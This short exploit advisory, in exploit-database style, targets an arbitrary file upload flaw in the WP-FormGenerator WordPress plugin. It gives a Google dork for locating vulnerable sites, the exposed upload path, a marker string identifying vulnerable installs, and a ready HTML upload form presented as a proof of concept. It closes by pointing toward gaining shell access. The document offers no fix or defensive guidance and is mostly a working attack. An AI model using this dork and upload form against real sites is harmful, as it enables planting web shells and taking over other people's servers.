Wordpress Plugins Wp-formgenerator File Upload Vulnerabilities

#-Title: Wordpress Plugins Wp-formgenerator File Upload Vulnerabilities

#-Author: unknown

#-Date: 10/26/2015

#- Vendor : CodeCanyon

#- Link Download : codecanyon. net/item/form-generator-wordpress-form-builder/4613911

#-Google Dork: inurl:wp-content/plugins/wp-formgenerator

#- Tested on : Trusty Tahr

#- Fixed in ??

==========================================================================

Vulnerability : "/wp-content/plugins/wp-formgenerator/uploads/php"

 When Vulnerable : {"files":[]}

Proof Of Concept :

Use CSRF :

<form method="POST" action="Zembut/wp-content/plugins/wp-formgenerator/uploads/php/"

enctype="multipart/form-data">

<input type="file" name="files[]" /><button>Upload</button>

</form>

Shell Acces ? Here